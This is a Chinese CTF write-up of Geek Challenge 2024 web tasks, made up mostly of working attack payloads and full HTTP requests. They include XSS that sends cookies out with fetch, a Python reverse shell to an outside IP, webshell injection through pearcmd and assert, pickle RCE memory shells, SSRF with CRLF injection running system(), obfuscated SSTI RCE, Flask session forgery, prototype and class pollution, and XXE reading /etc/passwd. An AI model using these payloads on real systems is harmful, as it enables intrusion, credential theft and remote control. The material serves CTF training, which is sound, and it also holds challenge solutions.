极客大挑战2024

隔壁三叶草新生赛都这么难嘛

友情提示:本文最后更新于 488 天前,文中的内容可能已有所发展或发生改变。

0x02 question

problem_on_my_web

表白墙?先F12看看有没有什么http头的限制,没看到有,那测试,发现弹窗了

<script>alert(1)</script>

If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=]

1

那把cookie带出来就行,不过貌似得重开一下靶机了,一直弹1

<body/**/onload="window.open('http://156.238.233.9:9999/'+document.cookie)">

emm没成功没有反应

<script>window.open('http://156.238.233.9:9999/'+document.cookie)</script>

还是不对,那用fetch带出cookie来

<script>fetch('http://156.238.233.9:9999/?a'+document.cookie)</script>

还是不行?

<script>alert(document.cookie)</script>

这么写反而是收到了flag

1

baby_upload

文件上传

1

CVE-2017-15715

POST /index.php HTTP/2
Host: 80-fb985bf1-f567-480e-9a3a-0ed6f71f9d10.challenge.ctfplus.cn
Content-Length: 417
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://80-fb985bf1-f567-480e-9a3a-0ed6f71f9d10.challenge.ctfplus.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTydF0xs9mhTjHWpP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://80-fb985bf1-f567-480e-9a3a-0ed6f71f9d10.challenge.ctfplus.cn/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i

------WebKitFormBoundaryTydF0xs9mhTjHWpP
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryTydF0xs9mhTjHWpP
Content-Disposition: form-data; name="name"

1.jpg.php
------WebKitFormBoundaryTydF0xs9mhTjHWpP
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryTydF0xs9mhTjHWpP--

但是那个\n绕过的没有成功,不知道怎么回事

ez_SSRF

直接拿源码/www.zip

calculator.php

<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

这里面我们可以直接看到就是说有能够RCE的地方

1

<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}

这里再利用SoapClient来进行访问,写poc,这里注意还有cookie

aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st

YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0

自己写了半天,发现还是写不好,直接用Y4的这种吧,我自己写的那种直接加\r\n的,就是容易写错

<?php
$target="http://127.0.0.1/flag.php";
$post_string='expression=system("cat /flag > flag");';
$headers=array(
    'x-forwarded-for: 127.0.0.1',
    'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'baozongwi^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "test"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

然后只要一部分插入的一部分

POST /h4d333333.php?location=http://127.0.0.1/calculator.php HTTP/1.1
Host: 80-0b944c25-6b76-493d-9af4-1cf38c499e88.challenge.ctfplus.cn
Content-Length: 276
Pragma: no-cache
Cache-Control: no-cache
Origin: http://80-0b944c25-6b76-493d-9af4-1cf38c499e88.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80-0b944c25-6b76-493d-9af4-1cf38c499e88.challenge.ctfplus.cn/h4d333333.php?location=http://127.0.0.1/calculator.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
x-forwarded-for: 127.0.0.1
Connection: close

user=baozongwi%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0Ax-forwarded-for%3A+127.0.0.1%0D%0AAUTHORIZATION%3A+YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Length%3A+38%0D%0A%0D%0Aexpression%3Dsystem%28%22cat+%2Fflag+%3E+flag%22%29%3B

成功拿到flag(不得不说Y4师傅还是吊,这脚本比我自己之前写的好用多了)

100%的⚪

查看源码解码拿到flag

ez_http

POST /?welcome=geekchallenge2024 HTTP/1.1
Host: 80-b5177aaf-e3f8-4300-b125-f5169d300c3f.challenge.ctfplus.cn
Content-Length: 37
Pragma: no-cache
Cache-Control: no-cache
Origin: http://80-b5177aaf-e3f8-4300-b125-f5169d300c3f.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://www.sycsec.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzI2NzgzMzIsIm5iZiI6MTczMjY3ODMzMiwiZXhwIjoxNzMyNjg1NTMyLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.ksF0QR3mGMhPK4cNAOjW_HTEYrzDdWqarotuynZEh98
starven: I_Want_Flag
x-real-ip: 127.0.0.1
Connection: close

username=Starven&password=qwert123456

ez_include

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
}

require_once文件包含绕过之前在学习session文件包含的时候知道怎么绕过

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
<?php
$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
?>
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

URI就是整个http路径,所以我们要把.php写到最后,然后有register_argc_argv = On这里一查就知道使用pearcmd.php,现在就是想怎么绕过了

?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php

有回显但是没有生效,看P牛的文章知道原因

1

GET /levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php HTTP/1.1
Host: 80-8beb2066-ceb4-4304-ba50-b14fd0a1c4b1.challenge.ctfplus.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

就getshell了,继续包含执行就行

1

ez_python

直接注册登录然后拿到源码

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

一眼丁真,pickle反序列化

import pickle
from flask import Flask, request
import base64

app = Flask(__name__)

class A():
    def __reduce__(self):
        return (eval, ('app.add_route(lambda request:__import__("os").popen(request.args.get("cmd")).read(), "/shell", methods=["GET", "POST"])',))

a = A()
b = pickle.dumps(a)

print(base64.b64encode(b).decode())

bushi哥们,居然不行,换个内存马写一下

import pickle
from flask import Flask, request
import base64

app = Flask(__name__)

class A():
    def __reduce__(self):
        return (eval, ('__import__("sys").modules["__main__"].__dict__["app"].before_request_funcs.setdefault(None,[]).append(lambda :__import__("os").popen(request.args.get("cmd")).read())',))

a = A()
b = pickle.dumps(a)

print(base64.b64encode(b).decode())

然后直接RCE

ez_js

   <script>
        function submitForm() {
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;

            fetch('/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ username, password })
            })
            .then(response => response.json())
            .then(data => console.log(data))
            .catch(error => console.error('Error:', error));
        }
    </script>

抓包拿到代码之后,感觉没啥有用信息,随便登录之后拿到响应包

HTTP/1.1 200 OK
Date: Wed, 27 Nov 2024 10:38:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 338
Connection: close
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 20 Sep 2024 03:04:08 GMT
ETag: W/"152-1920d630c40"
Cache-Control: no-cache

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>账号或密码错误</title>
    <h1>账号和密码好像没对呢?</h1>
    <h1>Username:${{Author}}</h1>
    <h1>Password:len(password) = 6 弱密码&纯数字</h1>
</html>

嗯爆破就行,这还是比较好爆破的

POST /login HTTP/1.1
Host: 3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn
Content-Length: 42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn
Referer: http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"Starven","password":"123456"}
// utils/common.js
function merge(object1, object2) {
    for (let key in object2) {
        if (key in object2 && key in object1) {
            merge(object1[key], object2[key]);  // 如果两个对象都有该键,则递归合并
        } else {
            object1[key] = object2[key];  // 否则直接赋值
        }
    }
}

module.exports = { merge };


// login handler
const { merge } = require('./utils/common.js');
const path = require('path'); // 确保引入 path 模块

function handleLogin(req, res) {
    // 创建 geeker 对象,并初始化 geekerData
    var geeker = new function() {
        this.geekerData = new function() {
            this.username = req.body.username;
            this.password = req.body.password;
        };
    };

    // 将 req.body 的内容合并到 geeker 对象中
    merge(geeker, req.body);

    // 检查用户名和密码
    if (geeker.geekerData.username === 'Starven' && geeker.geekerData.password === '123456') {
        if (geeker.hasFlag) {
            // 如果 hasFlag 为 true,返回 direct.html
            const filePath = path.join(__dirname, 'static', 'direct.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        } else {
            // 否则返回 error.html
            const filePath = path.join(__dirname, 'static', 'error.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        }
    } else {
        // 如果用户名或密码不正确,返回 error2.html
        const filePath = path.join(__dirname, 'static', 'error2.html');
        res.sendFile(filePath, (err) => {
            if (err) {
                console.error(err);
                res.status(err.status).end();
            }
        });
    }
}

module.exports = { handleLogin };

可以看到common.js是可以进行污染的,merge(geeker, req.body);直接污染就行

POST /login HTTP/1.1
Host: 3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn
Content-Length: 71
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn
Referer: http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}

fuzz了好几个字典发现url字符会有不同回显

1

就这还想要flag?
还是和登陆一样,我只是略施小计,你知道咋绕过吗?

那么肯定是传json了

{"username":"Starven","password":"123456","hasFlag":true}

这样子不能过要绕过,这个和infernity师傅进行过讨论,我只能说纯抽象啊,而且传参使用数组害的用syc链接

GET /flag?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true} HTTP/2
Host: 3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Sec-Fetch-User: ?1
Priority: u=0, i

SecretInDrivingSchool

源码里面拿到路径看到是要进后台了,注册都点不动?

1

经过我的经验这种东西,top1000爆破不出来,所以我们就写syc的各种形式

def generate_combinations(s):
    n = len(s)
    combinations = []

    # 进行 2^n 次循环
    for i in range(2 ** n):
        combination = []
        for j in range(n):
            # 根据当前位的二进制值决定字母的大小写
            if (i >> j) & 1:
                combination.append(s[j].upper())
            else:
                combination.append(s[j].lower())
        combinations.append(''.join(combination))

    return combinations


# 输入字符串
input_string = "syc"
result = generate_combinations(input_string)

# 输出结果
for combo in result:
    print(combo)

1

为啥呢,我爆破弱密码基本比赛从来没有爆破出来过,所以这是经验之谈,进来是一个简单的后台直接插入代码即可

1

assert($_REQUEST[a]);

马是没成功的,但是flag还是拿到了,不知道为啥antsword链接不上

我进行本地测试发现也连接不上

最后过了十几分钟发现了原因

1

后来和几个师傅一起讨论知道了原因,cola师傅找到了一篇文章,我们看到最后的Wireshark的包就懂了

assert种马

Can_you_Pass_me

一个SSTI注入,能梭哈绝对不手动,毕竟有回显

{%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))("\\x6c\\x73\\x20\\x2f")|attr(\'r\'\'ead\'))()%}

{%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))("\\x63\\x61\\x74\\x20\\x2f\\x66\\x2a\\x20\\x3e\\x20\\x2f\\x74\\x6d\\x70\\x2f\\x66\\x6c\\x61\\x67")|attr(\'r\'\'ead\'))()%}

然后就发现flag始终写不出来,那就弹吧

https://www.ddosi.org/shell/

用这个网站

export RHOST="156.238.233.9";export RPORT=9999;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

py_game

注册登录看到是普通用户下意识F12找验证,看到cookie里面有个session

flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYmFvem9uZ3dpIn0.Z0fmAw.Enwu33iLTu4gO_fnimUfrwaV0gc' --wordlist

中途由于字典原因还重新安装了一下

1

爆破出来了,那么伪造成admin

flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret 'a123456'

eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0fp6w.MzLPkoTlsTFYslDhYDkMgU3izyQ

替换之后拿到源码,在线反编译一下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify

app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        if self.username == data['username']:
            return self.password == data['password']
        return False

admin = User('admin', '123456j1rrynonono')
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        if hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
            continue
        setattr(dst, k, v)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.username == username:
                flash('用户名已存在', 'error')
                return redirect(url_for('register'))

        new_user = User(username, password)
        Users.append(new_user)
        flash('注册成功!请登录', 'success')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.check({'username': username, 'password': password}):
                session['username'] = username
                flash('登录成功', 'success')
                return redirect(url_for('dashboard'))

        flash('用户名或密码错误', 'error')
        return redirect(url_for('login'))
    return render_template('login.html')

@app.route('/play', methods=['GET', 'POST'])
def play():
    if 'username' in session:
        with open('/app/templates/play.html', 'r', encoding='utf-8') as file:
            play_html = file.read()
        return play_html
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/admin', methods=['GET', 'POST'])
def admin_route():
    if 'username' in session and session['username'] == 'admin':
        return render_template('admin.html', username=session['username'])
    flash('你没有权限访问', 'error')
    return redirect(url_for('login'))

@app.route('/downloads321')
def downloads321():
    return send_file('./source/app.pyc', as_attachment=True)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'username' in session:
        is_admin = session['username'] == 'admin'
        user_tag = 'Admin User' if is_admin else 'Normal User'
        return render_template('dashboard.html', username=session['username'], tag=user_tag, is_admin=is_admin)
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/xml_parse')
def xml_parse():
    try:
        xml_bytes = app.config['xml_data'].encode('utf-8')
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding='utf-8', xml_declaration=True)
        return Response(result_xml, mimetype='application/xml')
    except etree.XMLSyntaxError as e:
        return str(e), 400

black_list = [
    '__class__'.encode(),
    '__init__'.encode(),
    '__globals__'.encode()
]

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

@app.route('/update', methods=['POST'])
def update_route():
    if 'username' in session and session['username'] == 'admin':
        if request.data:
            try:
                if not check(request.data):
                    return 'NONONO, Bad Hacker', 403
                data = json.loads(request.data.decode())
                if all(data.values()):
                    update(data, User)
                    return jsonify({'message': '更新成功'}), 200
                return 'No data provided', 400
            except Exception as e:
                return f'Exception: {str(e)}', 500
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

拿到之后看到太多了,放编译器里面慢慢看

1

看到有污染的地方,搜索一下发现,在/update下面可以污染,不过要绕过check,看一下check

1

大概就是这一张图,然后我们在/xml_parse就可以拿到回显,因为进行了xml文档的更新

1

先写poc

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

unicode绕过就可以了

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "xml_data": '''
                    <?xml version="1.0" encoding="UTF-8"?>
                    <!DOCTYPE foo [
                        <!ENTITY xxe SYSTEM "file:///etc/passwd">
                    ]>
                    <foo>&xxe;</foo>
                    '''
                }
            }
        }
    }
}

# __init__
# \u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f

但是这里我犯了一个不知道的错误就是在json中是不能使用'''

POST /update HTTP/1.1
Host: 80-eeb40e0d-c438-4233-8caa-757667ab7258.challenge.ctfplus.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80-eeb40e0d-c438-4233-8caa-757667ab7258.challenge.ctfplus.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0fp6w.MzLPkoTlsTFYslDhYDkMgU3izyQ
Connection: close
Content-Type: application/json
Content-Length: 353

{
    "\u005F\u005Finit__": {
        "\u005F\u005Fglobals__": {
            "app": {
                "config": {
                    "xml_data": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [\n    <!ENTITY xxe SYSTEM \"F\u0069\u006C\u0065:///etc/passwd\">\n]>\n<foo>&xxe;</foo>"
                }
            }
        }
    }
}

这里还有个奇怪的地方就是不能用小写的f来使用file协议(算了当特性)

1

然后继续读就可以了

jwt_pickle

import base64
import hashlib
import random
import string
from flask import Flask,request,render_template,redirect
import jwt
import pickle

app = Flask(__name__,static_folder="static",template_folder="templates")

privateKey=open("./private.pem","rb").read()
publicKey=open("./public.pem","rb").read()
characters = string.ascii_letters + string.digits + string.punctuation
adminPassword = ''.join(random.choice(characters) for i in range(18))
user_list={"admin":adminPassword}

@app.route("/register",methods=["GET","POST"])
def register():
    if request.method=="GET":
        return render_template("register.html")
    elif request.method=="POST":
        username=request.form.get("username")
        password=request.form.get("password")
        if (username==None)|(password==None)|(username in user_list):
            return "error"

        user_list[username]=password
        return "OK"


@app.route("/login",methods=["GET","POST"])
def login():
    if request.method=="GET":
        return render_template("login.html")
    elif request.method=="POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if (username == None) | (password == None):
            return "error"

        if username not in user_list:
            return "please register first"

        if user_list[username] !=password:
            return "your password is not right"

        ss={"username":username,"password":hashlib.md5(password.encode()).hexdigest(),"is_admin":False}
        if username=="admin":
            ss["is_admin"]=True
            ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?")).decode())

        token=jwt.encode(ss,privateKey,algorithm='RS256')

        return "OK",200,{"Set-Cookie":"Token="+token.decode()}


@app.route("/admin",methods=["GET"])
def admin():
    token=request.headers.get("Cookie")[6:]
    print(token)
    if token ==None:
        redirect("login")
    try:
        real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
    except Exception as e:
        print(e)
        return "error"
    username = real["username"]
    password = real["password"]
    is_admin = real["is_admin"]
    if password != hashlib.md5(user_list[username].encode()).hexdigest():
        return "Hacker!"

    if is_admin:
        serial_S = base64.b64decode(real["introduction"])
        introduction=pickle.loads(serial_S)
        return f"Welcome!!!,{username},introduction: {introduction}"
    else:
        return f"{username},you don't have enough permission in here"

@app.route("/",methods=["GET"])
def jump():
    return redirect("login")

if __name__ == "__main__":
    app.run(debug=False,host="0.0.0.0",port=80)

这道题的jwt很像网鼎杯青龙的那道题有意思剩下的明天做

PHP不比java差

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);
       
    }
}

unserialize($_POST['data']);

首先我们锁定__unserialize(),因为前几天做到过,FFI的学习的时候

__unserialize() 是 PHP 中的一个魔术方法,用于在反序列化对象时自动调用。反序列化是将一个序列化字符串转换为 PHP 变量的过程,而这个过程在对象的情况下会调用该对象的 __unserialize() 方法。

当 __serialize 方法存在时,参数为 __serialize 的返回数组;当 __serialize 方法不存在时,参数为实例对象的所有属性值组合而成的数组

emm但是还是不够熟悉下一步咋触发我就不知道了,我们写个demo

<?php

class MyClass {
    public $name;
    public $value;

    public function __construct($name, $value) {
        $this->name = $name;
        $this->value = $value;
    }
    // 反序列化时触发
    public function __unserialize(array $data) {
        // 可以自定义逻辑,例如记录日志或验证数据
        echo "Unserializing object...\n";
        print_r($data);
        $this->name = $data['name'];
        $this->value = $data['value'];
    }
    public function __destruct() {
        echo "Destructing object...\n";
    }
}
